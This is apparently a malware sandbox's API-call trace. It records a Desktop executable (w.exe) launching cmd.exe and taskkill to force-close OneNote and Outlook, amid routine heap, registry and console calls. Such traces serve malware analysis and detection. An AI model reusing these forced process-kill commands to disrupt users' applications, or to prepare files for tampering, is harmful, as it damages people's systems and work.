	[0045.605] GetProcessHeap () returned 0x450000
	[0045.605] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x450860, Size=0x122) returned 0x450860
	[0045.605] GetProcessHeap () returned 0x450000
	[0045.605] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x450860) returned 0x122
	[0045.606] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.606] GetProcessHeap () returned 0x450000
	[0045.606] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe0) returned 0x450990
	[0045.606] GetProcessHeap () returned 0x450000
	[0045.606] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x450990, Size=0x76) returned 0x450990
	[0045.606] GetProcessHeap () returned 0x450000
	[0045.606] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x450990) returned 0x76
	[0045.606] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0045.606] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x14ef74, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ef74) returned 0xffffffff
	[0045.606] GetLastError () returned 0x2
	[0045.606] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x14ef74, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ef74) returned 0xffffffff
	[0045.606] GetLastError () returned 0x2
	[0045.606] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0045.606] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x14ef74, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ef74) returned 0x450a10
	[0045.606] GetProcessHeap () returned 0x450000
	[0045.606] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x463598
	[0045.606] FindClose (in: hFindFile=0x450a10 | out: hFindFile=0x450a10) returned 1
	[0045.607] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x14ef74, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ef74) returned 0xffffffff
	[0045.607] GetLastError () returned 0x2
	[0045.607] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x14ef74, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ef74) returned 0x450a10
	[0045.607] GetProcessHeap () returned 0x450000
	[0045.607] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x463598, Size=0x4) returned 0x463598
	[0045.607] FindClose (in: hFindFile=0x450a10 | out: hFindFile=0x450a10) returned 1
	[0045.607] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0045.607] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0045.607] GetConsoleTitleW (in: lpConsoleTitle=0x14f46c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0045.607] InitializeProcThreadAttributeList (in: lpAttributeList=0x14f2f4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14f3bc | out: lpAttributeList=0x14f2f4, lpSize=0x14f3bc) returned 1
	[0045.607] UpdateProcThreadAttribute (in: lpAttributeList=0x14f2f4, dwFlags=0x0, Attribute=0x60001, lpValue=0x14f3b4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14f2f4, lpPreviousValue=0x0) returned 1
	[0045.607] GetStartupInfoW (in: lpStartupInfo=0x14f2b0 | out: lpStartupInfo=0x14f2b0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xc4, hStdError=0xc8)) 
	[0045.607] GetProcessHeap () returned 0x450000
	[0045.607] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x18) returned 0x450a10
	[0045.607] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0045.607] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0045.607] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0045.607] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0045.607] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0045.607] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0045.608] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0045.608] GetProcessHeap () returned 0x450000
	[0045.608] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x450a10 | out: hHeap=0x450000) returned 1
	[0045.608] GetProcessHeap () returned 0x450000
	[0045.609] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xa) returned 0x45fee0
	[0045.609] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0045.610] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im onenote.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14f350*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im onenote.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14f39c | out: lpCommandLine="taskkill  /f /im onenote.exe ", lpProcessInformation=0x14f39c*(hProcess=0x78, hThread=0x74, dwProcessId=0xbd4, dwThreadId=0xbcc)) returned 1
	[0045.617] CloseHandle (hObject=0x74) returned 1
	[0045.617] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0045.617] GetProcessHeap () returned 0x450000
	[0045.617] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x465ed0 | out: hHeap=0x450000) returned 1
	[0045.617] GetEnvironmentStringsW () returned 0x474a48*
	[0045.617] GetProcessHeap () returned 0x450000
	[0045.617] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb36) returned 0x464090
	[0045.617] FreeEnvironmentStringsW (penv=0x474a48) returned 1
	[0045.617] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0045.906] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x14f290 | out: lpExitCode=0x14f290*=0x80) returned 1
	[0045.906] CloseHandle (hObject=0x78) returned 1
	[0045.906] _vsnwprintf (in: _Buffer=0x14f3d8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14f29c | out: _Buffer="00000080") returned 8
	[0045.906] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0045.906] GetProcessHeap () returned 0x450000
	[0045.906] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464090 | out: hHeap=0x450000) returned 1
	[0045.906] GetEnvironmentStringsW () returned 0x464090*
	[0045.906] GetProcessHeap () returned 0x450000
	[0045.906] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb5c) returned 0x465ed0
	[0045.906] FreeEnvironmentStringsW (penv=0x464090) returned 1
	[0045.906] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0045.906] GetProcessHeap () returned 0x450000
	[0045.906] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x465ed0 | out: hHeap=0x450000) returned 1
	[0045.906] GetEnvironmentStringsW () returned 0x464090*
	[0045.906] GetProcessHeap () returned 0x450000
	[0045.906] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb5c) returned 0x465ed0
	[0045.906] FreeEnvironmentStringsW (penv=0x464090) returned 1
	[0045.906] GetProcessHeap () returned 0x450000
	[0045.906] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x45fee0 | out: hHeap=0x450000) returned 1
	[0045.906] DeleteProcThreadAttributeList (in: lpAttributeList=0x14f2f4 | out: lpAttributeList=0x14f2f4) 
	[0045.906] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0045.907] SetConsoleMode (hConsoleHandle=0xc4, dwMode=0x0) returned 0
	[0045.907] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0045.907] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 0
	[0045.907] _get_osfhandle (_FileHandle=0) returned 0xc0
	[0045.907] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 0
	[0045.907] GetConsoleOutputCP () returned 0x1b5
	[0045.907] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1
	[0045.907] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0045.907] exit (_Code=128) 

Process:
	id = "61"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4a113000"
	os_pid = "0xbd4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "60"
	os_parent_pid = "0xbdc"
	cmd_line = "taskkill  /f /im onenote.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 269
	os_tid = 0xbcc


Thread:
	id = 270
	os_tid = 0xbc4


Thread:
	id = 271
	os_tid = 0x878


Thread:
	id = 272
	os_tid = 0x2a8


Thread:
	id = 273
	os_tid = 0xbfc


Process:
	id = "62"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4a5f7000"
	os_pid = "0xbf4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im outlook.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 274
	os_tid = 0xbf8

	[0045.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x38fbec | out: lpSystemTimeAsFileTime=0x38fbec*(dwLowDateTime=0x106a6b0, dwHighDateTime=0x1d52dc5)) 
	[0045.973] GetCurrentProcessId () returned 0xbf4
	[0045.973] GetCurrentThreadId () returned 0xbf8
	[0045.973] GetTickCount () returned 0x1bae5
	[0045.973] QueryPerformanceCounter (in: lpPerformanceCount=0x38fbe4 | out: lpPerformanceCount=0x38fbe4*=16628330882) returned 1
	[0045.974] GetModuleHandleA (lpModuleName=0x0) returned 0x4a040000
	[0045.974] __set_app_type (_Type=0x1) 
	[0045.974] __p__fmode () returned 0x74eb31f4
	[0045.974] __p__commode () returned 0x74eb31fc
	[0045.975] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0621a6) returned 0x0
	[0045.975] __getmainargs (in: _Argc=0x4a064238, _Argv=0x4a064240, _Env=0x4a06423c, _DoWildCard=0, _StartInfo=0x4a064140 | out: _Argc=0x4a064238, _Argv=0x4a064240, _Env=0x4a06423c) returned 0
	[0045.975] GetCurrentThreadId () returned 0xbf8
	[0045.975] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xbf8) returned 0x60
	[0045.975] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0045.975] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0045.975] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0045.975] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0045.975] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x38fb7c | out: phkResult=0x38fb7c*=0x0) returned 0x2
	[0045.976] VirtualQuery (in: lpAddress=0x38fbb3, lpBuffer=0x38fb4c, dwLength=0x1c | out: lpBuffer=0x38fb4c*(BaseAddress=0x38f000, AllocationBase=0x290000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0045.976] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x38fb4c, dwLength=0x1c | out: lpBuffer=0x38fb4c*(BaseAddress=0x290000, AllocationBase=0x290000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0045.976] VirtualQuery (in: lpAddress=0x291000, lpBuffer=0x38fb4c, dwLength=0x1c | out: lpBuffer=0x38fb4c*(BaseAddress=0x291000, AllocationBase=0x290000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0045.976] VirtualQuery (in: lpAddress=0x293000, lpBuffer=0x38fb4c, dwLength=0x1c | out: lpBuffer=0x38fb4c*(BaseAddress=0x293000, AllocationBase=0x290000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0045.976] VirtualQuery (in: lpAddress=0x390000, lpBuffer=0x38fb4c, dwLength=0x1c | out: lpBuffer=0x38fb4c*(BaseAddress=0x390000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0045.976] GetConsoleOutputCP () returned 0x1b5
	[0045.976] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a064260 | out: lpCPInfo=0x4a064260) returned 1
	[0045.976] SetConsoleCtrlHandler (HandlerRoutine=0x4a05e72a, Add=1) returned 1
	[0045.976] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0045.976] SetConsoleMode (hConsoleHandle=0xc0, dwMode=0x0) returned 0
	[0045.976] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0045.976] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a0641ac | out: lpMode=0x4a0641ac) returned 0
	[0045.977] _get_osfhandle (_FileHandle=0) returned 0xbc
	[0045.977] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a0641b0 | out: lpMode=0x4a0641b0) returned 0
	[0045.977] GetEnvironmentStringsW () returned 0x582008*
	[0045.977] GetProcessHeap () returned 0x570000
	[0045.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xaca) returned 0x582ae0
	[0045.977] FreeEnvironmentStringsW (penv=0x582008) returned 1
	[0045.977] GetProcessHeap () returned 0x570000
	[0045.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4) returned 0x580c40
	[0045.977] GetEnvironmentStringsW () returned 0x582008*
	[0045.977] GetProcessHeap () returned 0x570000
	[0045.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xaca) returned 0x5835b8
	[0045.977] FreeEnvironmentStringsW (penv=0x582008) returned 1
	[0045.977] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x38eaec | out: phkResult=0x38eaec*=0x68) returned 0x0
	[0045.977] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x0, lpData=0x38eaf8*=0x0, lpcbData=0x38eaf0*=0x1000) returned 0x2
	[0045.977] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x4, lpData=0x38eaf8*=0x1, lpcbData=0x38eaf0*=0x4) returned 0x0
	[0045.978] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x0, lpData=0x38eaf8*=0x1, lpcbData=0x38eaf0*=0x1000) returned 0x2
	[0045.978] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x4, lpData=0x38eaf8*=0x0, lpcbData=0x38eaf0*=0x4) returned 0x0
	[0045.978] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x4, lpData=0x38eaf8*=0x40, lpcbData=0x38eaf0*=0x4) returned 0x0
	[0045.978] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x4, lpData=0x38eaf8*=0x40, lpcbData=0x38eaf0*=0x4) returned 0x0
	[0045.978] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x0, lpData=0x38eaf8*=0x40, lpcbData=0x38eaf0*=0x1000) returned 0x2
	[0045.978] RegCloseKey (hKey=0x68) returned 0x0
	[0045.978] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x38eaec | out: phkResult=0x38eaec*=0x68) returned 0x0
	[0045.978] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x0, lpData=0x38eaf8*=0x40, lpcbData=0x38eaf0*=0x1000) returned 0x2
	[0045.978] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x4, lpData=0x38eaf8*=0x1, lpcbData=0x38eaf0*=0x4) returned 0x0
	[0045.978] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x0, lpData=0x38eaf8*=0x1, lpcbData=0x38eaf0*=0x1000) returned 0x2
	[0045.978] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x4, lpData=0x38eaf8*=0x0, lpcbData=0x38eaf0*=0x4) returned 0x0
	[0045.978] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x4, lpData=0x38eaf8*=0x9, lpcbData=0x38eaf0*=0x4) returned 0x0
	[0045.978] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x4, lpData=0x38eaf8*=0x9, lpcbData=0x38eaf0*=0x4) returned 0x0
	[0045.978] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x38eaf4, lpData=0x38eaf8, lpcbData=0x38eaf0*=0x1000 | out: lpType=0x38eaf4*=0x0, lpData=0x38eaf8*=0x9, lpcbData=0x38eaf0*=0x1000) returned 0x2
	[0045.978] RegCloseKey (hKey=0x68) returned 0x0
	[0045.978] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163036
	[0045.978] srand (_Seed=0x5d163036) 
	[0045.978] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im outlook.exe \""
	[0045.978] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im outlook.exe \""
	[0045.979] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a065260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0045.979] GetProcessHeap () returned 0x570000
	[0045.979] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x210) returned 0x582008
	[0045.979] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x582010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0045.979] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a070640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0045.979] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a070640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.979] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a070640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0045.979] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0045.979] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0045.979] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0045.979] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0045.979] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0045.979] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0045.979] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0045.979] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0045.979] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0045.979] GetProcessHeap () returned 0x570000
	[0045.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x582ae0 | out: hHeap=0x570000) returned 1
	[0045.979] GetEnvironmentStringsW () returned 0x582220*
	[0045.979] GetProcessHeap () returned 0x570000
	[0045.979] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xae2) returned 0x584b80
	[0045.980] FreeEnvironmentStringsW (penv=0x582220) returned 1
	[0045.980] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a070640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0045.980] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a070640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0045.980] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0045.980] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0045.980] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0045.980] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0045.980] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0045.980] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0045.980] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0045.980] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0045.980] GetProcessHeap () returned 0x570000
